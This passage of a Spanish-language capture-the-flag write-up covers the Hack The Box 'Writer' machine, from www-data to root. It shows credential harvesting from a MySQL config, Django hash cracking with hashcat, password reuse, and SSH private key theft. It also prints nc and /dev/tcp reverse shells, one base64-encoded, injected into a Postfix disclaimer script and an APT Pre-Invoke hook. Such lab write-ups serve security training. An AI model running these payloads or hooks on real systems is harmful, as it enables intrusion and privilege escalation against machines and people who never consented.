Antes de seguir volvemos nuestra terminal interactiva, así lograremos movernos entre comandos, tener histórico de ellos yyyy ejecutar CTRL+C sin temor a perder la Shell:

Ahora si, a enumerar…

DjangognajD: www-data -> kyle #

Si recordamos (esta máquina es mucho de recordar cositas anteriores) habíamos visto un proyecto llamado writer2_project, ahora lo vemos claramente tooodo:

www-data@writer:/var/www$ ls
html  writer.htb  writer2_project

Recorriendo los archivos encontramos uno con un nombre llamativo, ¿cuál es?

www-data@writer:/var/www/writer2_project/writerv2$ ls
__init__.py  __pycache__  settings.py  urls.py  wsgi.py

Si lo inspeccionamos con los ojos bien abiertos tenemos este conjunto de líneas casi al final:

...
DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.mysql',
        'OPTIONS': {
            'read_default_file': '/etc/mysql/my.cnf',
        },
    }
}
...

Un archivo de configuración de mysql, por curiosidad echamos un ojo sobre él yyyyyyyyyyy:

www-data@writer:/var/www/writer2_project/writerv2$ cat /etc/mysql/my.cnf

OPA, unas credenciales para una base de datos distinta a las que teníamos, probémoslas:

Son válidas, pues demos vueltas por ahí, quizás haya algo interesante y útil…

MariaDB [dev]> show tables;
+----------------------------+
| Tables_in_dev              |
+----------------------------+
| auth_group                 |
| auth_group_permissions     |
| auth_permission            |
| auth_user                  |
| auth_user_groups           |
| auth_user_user_permissions |
| django_admin_log           |
| django_content_type        |
| django_migrations          |
| django_session             |
+----------------------------+

La tabla auth_user esta llamativa, veamos su contenido:

Un usuario y contraseña (hash) del usuario kyle, algo curioso es que kyle también es un usuario del sistema (se acuerdan que lo vimos cuando obtuvimos el contenido de /etc/passwd):

www-data@writer:/var/www/writer2_project/writerv2$ ls /home
john  kyle

Se vuelve muuuuy interesante esto, intentemos crackear ese hash… Veamos que tipo es:

Buscamos por hashes que empiecen con pbkdf2_sha yyy uno de los resultados concuerda con todo lo encontrado antes:

Un hash de Django (framework para desarrollo web), pues a crackeowowowo:

Lo tomamos y guardamos en un archivo, yo lo llamaré django_hash.kyle, con JohnTheRipper no logramos siquiera que tome el hash como -hash-, así que usaremos hashcat, le debemos pasar el tipo de hash (hashcat lo referencia con el ID, ya vimos que es 10000), el archivo con el hash, un wordlist (para validar cuál palabra hace match con ese hash) y adicional una vez (si es que lo hace) crackee el hash, guarde su resultado en un objeto llamado cracked.txt:

❱ hashcat -m 10000 django_hash.kyle /usr/share/wordlists/rockyou.txt -o cracked.txt

Ejecutamos yyyyyyy pasado un buen rato (recuerden no desesperarse) el hash es crackeadooooooooooooooooooooooooo:

...
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Django (PBKDF2-SHA256)
Hash.Target......: pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8...uXM4A=
Time.Started.....: Sat Oct  9 25:36:39 2021 (11 mins, 57 secs)
Time.Estimated...: Sat Oct  9 25:48:36 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       13 H/s (20.96ms) @ Accel:32 Loops:1024 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 9408/14344385 (0.07%)
Rejected.........: 0/9408 (0.00%)
Restore.Point....: 9376/14344385 (0.07%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:259072-259999
Candidates.#1....: missing -> 120287
...
❱ cat cracked.txt 
pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=:marcoantonio

El hash da como resultado en texto plano a marcoantonio, con lo cual esa sería su contraseña para el aplicativo web con Django, peeeeero ¿podría ser para otro servicio? ¿Quizás para el sistema? Probemos reutilización de contraseñas:

Y sí, obtenemos la Shell como kyle (: Aprovechemos que contamos con SSH para entablar una Shell ahí y seguir nuestro camino caminando:

❱ ssh kyle@10.10.11.101

Avisos legales : kyle -> john #

Estando dentro de primeras vemos algo interesante en los grupos donde esta kyle:

kyle@writer:~$ id
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)

Hay dos grupos llamativos: filter y smbgroup, exploremos primero filter. Busquemos si hay objetos en tooooooodo el sistema que sean creados o permitan el acceso a usuarios con ese grupo:

kyle@writer:~$ find / -group filter -ls 2>/dev/null
    16282      4 -rwxrwxr-x   1 root     filter       1021 Oct 14 15:22 /etc/postfix/disclaimer
    16281      4 drwxr-x---   2 filter   filter       4096 May 13 22:31 /var/spool/filter

Bien, hay dos, inspeccionemos:

🧱 /var/spool/filter

kyle@writer:~$ cat /var/spool/filter
cat: /var/spool/filter/: Is a directory
kyle@writer:~$ ls -la /var/spool/filter
total 8
drwxr-x--- 2 filter filter 4096 May 13 22:31 .
drwxr-xr-x 7 root   root   4096 May 18 16:54 ..

Nada por aquí…

🧱 /etc/postfix/disclaimer

Este hace referencia a Postfix que es un servidor de correo de software libre.

kyle@writer:~$ cat /etc/postfix/disclaimer
#!/bin/sh
# Localize these.
INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail

# Get disclaimer addresses
DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses

# Exit codes from <sysexits.h>
EX_TEMPFAIL=75
EX_UNAVAILABLE=69

# Clean up when done or when aborting.
trap "rm -f in.$$" 0 1 2 3 15

# Start processing.
cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit
$EX_TEMPFAIL; }

cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }

# obtain From address
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`

if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
  /usr/bin/altermime --input=in.$$ \
                   --disclaimer=/etc/postfix/disclaimer.txt \
                   --disclaimer-html=/etc/postfix/disclaimer.txt \
                   --xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
                    { echo Message content rejected; exit $EX_UNAVAILABLE; }
fi

$SENDMAIL "$@" <in.$$

exit $?

Ojito, un script en bash que automatiza el envío de avisos legales (disclaimers) a los mails que sean remitidos desde alguna de las direcciones acá listadas:

DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses
kyle@writer:/etc/postfix$ cat /etc/postfix/disclaimer_addresses
root@writer.htb
kyle@writer.htb

Bien, uno de ellos es kyle, así que los correos enviados ya sean desde root@writer.htb o kyle@writer.htb se les añadirá el disclaimer…

Pero claro, para poder jugar con esto necesitamos un servidor SMTP activo, validemos si existe:

kyle@writer:/etc/postfix$ netstat -l
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
...
tcp        0      0 localhost:smtp          0.0.0.0:*               LISTEN
...

Perfecto, la idea es que si cada vez que se envía un correo, por ejemplo a kyle, ira a ese binario, lo ejecutara y agregara el disclaimer, pues podemos simplemente pensar en agregar una línea -maliciosa- que en teoría debería ser ejecutada ¿no?

Peeeeero claro, si logramos ejecución de comandos, como quien lo haríamos ¿cómo kyle? En ese caso no nos serviría de nada, ya que actualmente somos kyle :( Si nos movemos a /etc/postfix tenemos varios objetos:

Recorriendo algunos, caemos en master.cf y una línea final baaaastante llamativa:

kyle@writer:/etc/postfix$ cat master.cf
...
  flags=Rq user=john argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}

Vemos el binario y un usuario llamado john, queeeeeeeeeee curiosamente también es uno del sistema. ¿Será que john es el que ejecuta el disclaimer? Por lo que él sería el que ejecutaría nuestro comando malicioso… Esa teoría nos la confirma este post:

Que tooooooodo el proceso es exactamente igual, lo unico que cambia es el usuario.

Así que ahora si intentemos cositas, modifiquemos el archivo para que una vez sea ejecutado nos envíe (a un puerto donde estaremos escuchando) el id del usuario que ejecuta el disclaimer (debería ser john), el objeto quedaría así:

La IP me cambio por un problema que tuve con la VPN :P

kyle@writer:/etc/postfix$ cat disclaimer
#!/bin/sh
...
id | nc 10.10.14.6 4433
...

El archivo es regenerado cada 2 minutos, así que hay que correeeeeeer (o automatizar todo (tarea pa la casita))

Sencillito, ahora pongámonos en escucha sobre ese puerto en nuestra máquina: nc -lvp 4433.

Y solo nos quedaría enviar el mail, usaré telnet:

Al parecer no funciona, peeeeeeeeeero si esperamos unos segundoooooooooooooooooooos:

Peee eee eeerrrr feccctooooo, tenemos ejecución remota de comandos como el usuario john, obtengamos una Shell:

❱ echo "bash -i >& /dev/tcp/10.10.14.6/4433 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzQ0MzMgMD4mMQo=
kyle@writer:/etc/postfix$ cat disclaimer
#!/bin/sh
...
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzQ0MzMgMD4mMQo= | base64 -d | bash
...
❱ nc -lvp 4433
listening on [any] 4433 ...
kyle@writer:/etc/postfix$ telnet localhost smtp
...
# Enviamos mail

Yyyyyyyyyyyyyyy:

Si si si, tamos como el usuario john dentro del sistemaaaaaaaaaa (: Hagamos tratamiento del TTY y veamos con que nos encontramos ahora…

Recorriendo el directorio /home/john tenemos la carpeta .ssh y dentro su llave privada (id_rsa):

john@writer:/home/john/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub

Pues recordemos que una llave privada es como una contraseña, así que tomémosla, nos la llevamos a nuestro sistema, le damos los permisos necesarios (chmod 600 <file>) e intentamos obtener una Shell por SSH como john:

❱ ssh john@10.10.11.101 -i john.rsa

Y efectivamente, obtenemos una Shell (:

Escalada de privilegios #

Revisando los grupos en los que esta john notamos uno claramente distinto y llamativo:

john@writer:~$ id
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)

Pues volvemos a hacer lo que hicimos con kyle, busquemos objetos relacionados con ese grupo:

john@writer:~$ find / -group management 2>/dev/null
/etc/apt/apt.conf.d

Una carpeta (parece), validemos:

john@writer:~$ cat /etc/apt/apt.conf.d
cat: /etc/apt/apt.conf.d: Is a directory
john@writer:~$ ls -la /etc/apt/apt.conf.d
total 48
drwxrwxr-x 2 root management 4096 Oct 14 16:56 .
drwxr-xr-x 7 root root       4096 Jul  9 10:59 ..
-rw-r--r-- 1 root root        630 Apr  9  2020 01autoremove
-rw-r--r-- 1 root root         92 Apr  9  2020 01-vendor-ubuntu
-rw-r--r-- 1 root root        129 Dec  4  2020 10periodic
-rw-r--r-- 1 root root        108 Dec  4  2020 15update-stamp
-rw-r--r-- 1 root root         85 Dec  4  2020 20archive
-rw-r--r-- 1 root root       1040 Sep 23  2020 20packagekit
-rw-r--r-- 1 root root        114 Nov 19  2020 20snapd.conf
-rw-r--r-- 1 root root        625 Oct  7  2019 50command-not-found
-rw-r--r-- 1 root root        182 Aug  3  2019 70debconf
-rw-r--r-- 1 root root        305 Dec  4  2020 99update-notifier

Jmmm, una búsqueda rápida del nombre del directorio por internet nos lleva a esta respuesta de este hilo:

🔧 Each directory represents a configuration file which is split over multiple files. In this sense, all of the files in /etc/apt/apt.conf.d/ are instructions for the configuration of APT. APT includes them in alphabetical order, so that the last ones can modify a configuration element defined in one of the first ones.. /etc/apt/apt.conf.d/

Yyyy ¿qué es APT?

🎁 Advanced Packaging Tool (APT): Programa de gestión de paquetes creado por el proyecto Debian. APT simplifica en gran medida la instalación y eliminación de programas en los sistemas GNU/Linux. Advanced Package Tool (APT)

Lo usamos cuando hacemos apt-get install ... o apt update y muuuchas más opciones, pero para que sepan de qué hablamos.

Liiiisto, ya sabiendo que es eso, nos queda saber el porqué tenemos acceso a esos archivos de configuración. Algo que encontramos en internet es que (como dije antes) todas las configuraciones son “instaladas” o “ejecutadas” al usar el comando apt o apt-get o apt.., podríamos pensar en generar una configuración maliciosa para posteriormente ejecutar apt..., pero claro, no tenemos permisos suficientes para usar esas herramientas :/

PEEEEEEEEERO podemos pensar que algún administrador en algún momento va a ejecutar apt-get ... o apt update para instalar paquetes o actualizarlos, lo que él no sabría es que nosotros tendríamos una configuración maliciosa esperando a ser ejecutada 🥵

Lo más seguro es que por acá sea la manera de elevar privilegios.

Como personitas que jugamos en entornos simulados, no podemos esperar a que realmente un admin ejecute apt-get ... o apt update, tenemos que pensar en ello como tareas programadas que ha dejado el creador de la máquina simulando que las hace un admin. Si queremos validar si existe esa tarea programada podemos apoyarnos de pspy, ya que él monitorea en el sistema distintos procesos que se estén llevando a cabo sea el usuario que sea.

Lo descargamos, lo subimos a la máquina y ejecutamos:

john@writer:/tmp/tset$ chmod +x pspy 
john@writer:/tmp/tset$ ./pspy

En su ejecución vemos muuuuchas de las tareas con las que hemos interactuado, pero prestando atención vemos esto:

(Recuerden, buscamos procesos llevados a cabo por el usuario root, él tiene el UID (User ID) 0)

Y sí, ahí vemos la ejecución por parte de root en la instrucción, peeeeeeero si analizamos un poco el output, vemos que probablemente debamos ser rápidos, ¿ya vieron por qué?

Antes de ejecutar el:

/usr/bin/apt-get update

Borra todo lo que se ha creado en las últimas 24 horas (-mtime), así que si creamos nuestro objeto de configuración, claramente será borrado, esto lo podemos bypassear haciendo un bucle, donde en cada segundo cree el archivo de configuración, entonces el find llegara a borrarlo peeeeero inmediatamente el bucle lo creara y apt-get update lo e j e c u t a r á (:

Asíííííí queeeeeeeee, busquemos en internet como jugar realmente con estoooooooooaosoOOoasdjflkajsdlñkgjlakhs

En ese post hay varias maneras, pero la que nos sirve a nosotros es la que explota una tarea cron (que eso es lo que tenemos nosotros, una tarea programada), la explotación es muuuuuuuy sencilla, únicamente creamos un archivo de configuración que tenga el comando a ejecutar, básicamente una línea (:

Por ejemplo usando la propia del post (que es para obtener una reverse shell con nc viejito) el archivo se llamaría pwn y contendría:

echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 4433 >/tmp/f"};' > pwn

Pues creémoslo, nos ponemos en escucha por el puerto 4433 y esperamos a que la tarea cron sea ejecutada, borrara el objeto pwn, peeeero con ayuda de nuestro bucle lo volverá a crear y posteriormente el sistema actualizara los paquetes, llegando así al nuestro (:

john@writer:/etc/apt/apt.conf.d$ while true; do echo 'apt::Update::Pre-Invoke {"rm ... payload ... /tmp/f"};' > pwn; sleep 1; done

Esperamos un rato yyyyyyyyyyyyyyy:

YYYYY TAMOSSS DENTROOO COMO ROOOOOOOOT (: Veamos las flags…

Una máquina bastante interesante, la intrusión con el LFI mediante un SQLi, fue mooooooy brutal. La parte de APT también da mucho que pensar (que miedito).

Writeup realmente largo, pero que me divertí bastante al hacer. Espero les haya ayudado en algo y como siempre… ¡A seguir rompiendo deeeeee todoooooooo!

Lanz

Lanz

Holap, simplemente quiero compartir contigo mis notas y que quizás, las tomes como apoyo. Este mundo es un camino raro, complicado a veces, pero divertido, diviertete (: (y entiende que estas haciendo :P)

Comments

comments powered by Disqus